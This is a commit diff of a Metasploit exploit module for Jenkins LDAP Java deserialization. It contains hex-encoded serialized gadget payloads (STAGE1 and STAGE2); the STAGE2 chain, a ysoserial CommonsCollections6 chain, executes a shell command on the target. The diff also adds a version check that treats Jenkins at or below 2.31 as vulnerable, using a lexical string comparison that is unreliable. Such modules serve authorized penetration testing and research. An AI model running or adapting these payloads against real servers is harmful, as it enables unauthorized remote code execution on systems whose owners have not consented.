Update jenkins_ldap_deserialize.rb

https://github.com/notivan/metasploit-framework/blob/6c0450fe959825c0c81a637fb4faae8f0f5b1be9/modules/exploits/linux/misc/jenkins_ldap_deserialize.rb

jenkins/jenkins_ldap_deserialize.rb

@@ -1,9 +1,15 @@
+##
+# This module requires Metasploit: http//metasploit.com/download
+# Current source: https://github.com/rapid7/metasploit-framework
+##
+
 require 'msf/core'
 
-class MetasploitModule < Msf::Exploit::Remote
+class Metasploit3 < Msf::Exploit::Remote
   Rank = ExcellentRanking
 
   STAGE1 = "aced00057372002b6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e6d61702e466c6174334d6170a300f47ee17184980300007870770400000002737200316f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e7365742e4c6973744f726465726564536574fcd39ef6fa1ced530200014c00087365744f726465727400104c6a6176612f7574696c2f4c6973743b787200436f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e7365742e416273747261637453657269616c697a61626c655365744465636f7261746f72110ff46b96170e1b0300007870737200156e65742e73662e6a736f6e2e4a534f4e41727261795d01546f5c2872d20200025a000e657870616e64456c656d656e74734c0008656c656d656e747371007e0003787200186e65742e73662e6a736f6e2e41627374726163744a534f4ee88a13f4f69b3f82020000787000737200136a6176612e7574696c2e41727261794c6973747881d21d99c7619d03000149000473697a65787000000001770400000001740008041ac080131d170678787371007e00090000000077040000000078737200116a6176612e6c616e672e426f6f6c65616ecd207280d59cfaee0200015a000576616c75657870017372002a6a6176612e7574696c2e636f6e63757272656e742e436f6e63757272656e74536b69704c697374536574dd985079bdcff15b0200014c00016d74002d4c6a6176612f7574696c2f636f6e63757272656e742f436f6e63757272656e744e6176696761626c654d61703b78707372002a6a6176612e7574696c2e636f6e63757272656e742e436f6e63757272656e74536b69704c6973744d6170884675ae061146a70300014c000a636f6d70617261746f727400164c6a6176612f7574696c2f436f6d70617261746f723b7870707372001f636f6d2e73756e2e6a6e64692e6c6461702e4c646170417474726962757465c47b6b02a60583c00300034c000a62617365437478456e767400154c6a6176612f7574696c2f486173687461626c653b4c000a6261736543747855524c7400124c6a6176612f6c616e672f537472696e673b4c000372646e7400134c6a617661782f6e616d696e672f4e616d653b787200256a617661782e6e616d696e672e6469726563746f72792e42617369634174747269627574655d95d32a668565be0300025a00076f7264657265644c000661747472494471007e001778700074000077040000000078707400156c6461703a2f2f6c6f63616c686f73743a313233347372001a6a617661782e6e616d696e672e436f6d706f736974654e616d6517251a4b93d67afe0300007870770400000000787871007e000e707871007e000e78"
+  # java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections6 'touch /tmp/wtf'
   STAGE2 = "aced0005737200116a6176612e7574696c2e48617368536574ba44859596b8b7340300007870770c000000023f40000000000001737200346f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e6b657976616c75652e546965644d6170456e7472798aadd29b39c11fdb0200024c00036b65797400124c6a6176612f6c616e672f4f626a6563743b4c00036d617074000f4c6a6176612f7574696c2f4d61703b7870740003666f6f7372002a6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e6d61702e4c617a794d61706ee594829e7910940300014c0007666163746f727974002c4c6f72672f6170616368652f636f6d6d6f6e732f636f6c6c656374696f6e732f5472616e73666f726d65723b78707372003a6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e66756e63746f72732e436861696e65645472616e73666f726d657230c797ec287a97040200015b000d695472616e73666f726d65727374002d5b4c6f72672f6170616368652f636f6d6d6f6e732f636f6c6c656374696f6e732f5472616e73666f726d65723b78707572002d5b4c6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e5472616e73666f726d65723bbd562af1d83418990200007870000000057372003b6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e66756e63746f72732e436f6e7374616e745472616e73666f726d6572587690114102b1940200014c000969436f6e7374616e7471007e00037870767200116a6176612e6c616e672e52756e74696d65000000000000000000000078707372003a6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e66756e63746f72732e496e766f6b65725472616e73666f726d657287e8ff6b7b7cce380200035b000569417267737400135b4c6a6176612f6c616e672f4f626a6563743b4c000b694d6574686f644e616d657400124c6a6176612f6c616e672f537472696e673b5b000b69506172616d54797065737400125b4c6a6176612f6c616e672f436c6173733b7870757200135b4c6a6176612e6c616e672e4f626a6563743b90ce589f1073296c02000078700000000274000a67657452756e74696d65757200125b4c6a6176612e6c616e672e436c6173733bab16d7aecbcd5a990200007870000000007400096765744d6574686f647571007e001b00000002767200106a6176612e6c616e672e537472696e67a0f0a4387a3bb34202000078707671007e001b7371007e00137571007e001800000002707571007e001800000000740006696e766f6b657571007e001b00000002767200106a6176612e6c616e672e4f626a656374000000000000000000000078707671007e00187371007e0013757200135b4c6a6176612e6c616e672e537472696e673badd256e7e91d7b4702000078700000000174000e746f756368202f746d702f777466740004657865637571007e001b0000000171007e00207371007e000f737200116a6176612e6c616e672e496e746567657212e2a0a4f781873802000149000576616c7565787200106a6176612e6c616e672e4e756d62657286ac951d0b94e08b020000787000000001737200116a6176612e7574696c2e486173684d61700507dac1c31660d103000246000a6c6f6164466163746f724900097468726573686f6c6478703f4000000000000077080000001000000000787878"
 
   SEARCH_RES_ENTRY = 4
@@ -59,10 +65,7 @@ def initialize(info = {})
 
   def target_uri
     begin
-      # In case TARGETURI is empty, at least we default to '/'
-      u = datastore['TARGETURI']
-      u = "/" if u.nil? or u.empty?
-      URI(u)
+      URI(datastore['TARGETURI'])
     rescue ::URI::InvalidURIError
       print_error "Invalid URI: #{datastore['TARGETURI'].inspect}"
       raise Msf::OptionValidateError.new(['TARGETURI'])
@@ -244,5 +247,48 @@ def exploit
     end
   end
 
+  def check
+    result = Exploit::CheckCode::Safe
+
+    begin
+      if vulnerable?
+        result = Exploit::CheckCode::Vulnerable
+      end
+    rescue Msf::Exploit::Failed => e
+      vprint_error(e.message)
+      return Exploit::CheckCode::Unknown
+    end
+
+    result
+  end
+
+  def vulnerable?
+    res = send_request_cgi({
+      'uri' => normalize_uri(target_uri.path)
+    })
+    unless res
+      fail_with(Failure::Unknown, 'The connection timed out.')
+    end
+
+    http_headers = res.headers
+
+    http_headers['X-Jenkins'] && http_headers['X-Jenkins'] <= "2.31"
+  end
+
+  # Connects to the server, creates a request, sends the request,
+  # reads the response
+  #
+  # Passes +opts+ through directly to Rex::Proto::Http::Client#request_cgi.
+  #
+  def send_request_cgi(opts={}, timeout = 20)
 
+    begin
+      c = Rex::Proto::Http::Client.new(datastore['RHOST'], datastore['RPORT'])
+      c.connect
+      r = c.request_cgi(opts)
+      c.send_recv(r, timeout)
+    rescue ::Errno::EPIPE, ::Timeout::Error
+      nil
+    end
+  end
 end